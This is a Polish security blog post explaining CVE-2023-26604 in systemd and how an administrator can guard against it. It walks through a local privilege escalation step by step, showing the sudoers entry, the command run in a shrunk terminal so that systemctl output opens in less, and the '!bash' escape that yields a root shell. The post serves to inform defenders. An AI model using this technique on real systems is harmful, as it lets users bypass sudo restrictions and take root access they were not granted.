Za mały ekran dla systemd – CVE-2023-26604

nfsec.pl 1 rok temu

C

iekawa podatność pojawiła się w systemd, która bazuje na jednej z ucieczek z programu sudo. Otóż wersje systemd w wersji sprzed 247 umożliwiają eskalację uprawnień poprzez ominięcie ograniczeń uprawnień nakładanych przez konfigurację (/etc/sudoers) programu sudo dla danego użytkownika. Na przykład systemd w podatnych wersjach nie ustawia wartości „1” dla zmiennej LESSSECURE, dlatego program less biorący udział w tym łańcuchu zdarzeń jest w stanie uruchomić inny program (np. powłokę shell) z uprawnieniami administratora systemu. Wystarczy zmusić terminal do przekazania danych wyjściowych polecenia systemctl do programu less, co możemy bardzo prosto osiągnąć poprzez zmniejszenie okna samego terminala.

Na systemie testowym (Ubuntu 20.04 LTS) plik /etc/sudoers posiada następujący wpis umożliwiający użytkownikowi agresor sprawdzenie działania usługi cron:

# User privilege specification root ALL=(ALL:ALL) ALL agresor ALL=(root) /bin/systemctl status cron.service agresor ALL=(root) /usr/sbin/service cron status

Jak widzimy zwykły użytkownik „agresor” może uruchomić dwa polecenia sprawdzające działanie usługi cron z uprawnieniami użytkownika root. Inne programy z możliwością podniesienia uprawnień nie powinny być dla niego dostępne:

agresor@stardust:~$ sudo /bin/ls /dirty_secrets Sorry, user agresor is not allowed to execute '/bin/ls /dirty_secrets' as root on stardust.

Jeśli teraz wydamy jakiekolwiek polecenie (systemctl lub service), które możemy wykonać w kontekście administratora, a nasze okno terminala będzie na tyle duże, aby zmieścić wszystkie dane wyjściowe – to nie dojdzie do przepuszczenia danych przez program less (patrz: obrazek #1):

agresor@stardust:~$ sudo systemctl status cron.service - cron.service - Regular background program processing daemon Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled) Active: active (running) since Mon 2023-03-13 23:43:56 CET; 1 weeks 0 days ago Docs: man:cron(8) Main PID: 635 (cron) Tasks: 1 (limit: 2288) Memory: 104.5M CGroup: /system.slice/cron.service └─635 /usr/sbin/cron -f Mar 21 18:17:01 CRON[12507]: pam_unix(cron:session): session closed for user root Mar 21 19:17:01 CRON[13225]: pam_unix(cron:session): session opened for user root by (uid=0) Mar 21 19:17:01 CRON[13226]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) Mar 21 19:17:01 CRON[13225]: pam_unix(cron:session): session closed for user root Mar 21 20:17:01 CRON[14034]: pam_unix(cron:session): session opened for user root by (uid=0) Mar 21 20:17:01 CRON[14035]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) Mar 21 20:17:01 CRON[14034]: pam_unix(cron:session): session closed for user root Mar 21 21:17:01 CRON[14427]: pam_unix(cron:session): session opened for user root by (uid=0) Mar 21 21:17:01 CRON[14428]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) Mar 21 21:17:01 CRON[14427]: pam_unix(cron:session): session closed for user root

Jeśli teraz zmniejszymy okno terminala tak, aby dane wyjściowe polecenia systemctl lub service nie zmieściły się na ekranie – to w celu ich paginacji zostaną przepuszczone przez program less (patrz: obrazek #2):

agresor@stardust:~$ sudo service cron status - cron.service - Regular background program processing daemon Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled) Active: active (running) since Mon 2023-03-13 23:43:56 CET; 1 weeks 0 days ago Docs: man:cron(8) Main PID: 635 (cron) Tasks: 1 (limit: 2288) Memory: 104.5M CGroup: /system.slice/cron.service └─635 /usr/sbin/cron -f Mar 21 19:17:01 CRON[13226]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) Mar 21 19:17:01 CRON[13225]: pam_unix(cron:session): session closed for user root Mar 21 20:17:01 CRON[14034]: pam_unix(cron:session): session opened for user root by (uid=0) Mar 21 20:17:01 CRON[14035]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) Mar 21 20:17:01 CRON[14034]: pam_unix(cron:session): session closed for user root Mar 21 21:17:01 CRON[14427]: pam_unix(cron:session): session opened for user root by (uid=0) Mar 21 21:17:01 CRON[14428]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) Mar 21 21:17:01 CRON[14427]: pam_unix(cron:session): session closed for user root Mar 21 22:17:01 CRON[14993]: pam_unix(cron:session): session opened for user root by (uid=0) Mar 21 22:17:01 CRON[14994]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) Mar 21 22:17:01 CRON[14993]: pam_unix(cron:session): session closed for user root lines 1-20/20 (END)

Skoro jest to program less z podniesionymi uprawnieniami możemy z niego uciec za pomocą: ! polecenie (patrz obrazek #3):

!bash root@stardust:/# id uid=0(root) gid=0(root) groups=0(root)

Poszczególne dystrybucje (Debian, RedHat, Ubuntu, SuSE) wydały już odpowiednie komunikaty odnośnie podatności poszczególnych wersji. jeżeli w konfiguracji swoich serwerów pozwalamy użytkownikom na sprawdzanie statusu usług dzięki sudo – to do czasu wydania poprawek możemy zastosować zabezpieczenie opisane w artykule: Uciekając z sudo – część druga.

Więcej informacji: CVE-2023–26604, The autopaging logic in systemd’s various tools, Default use of 'less’ is a security concern

Idź do oryginalnego materiału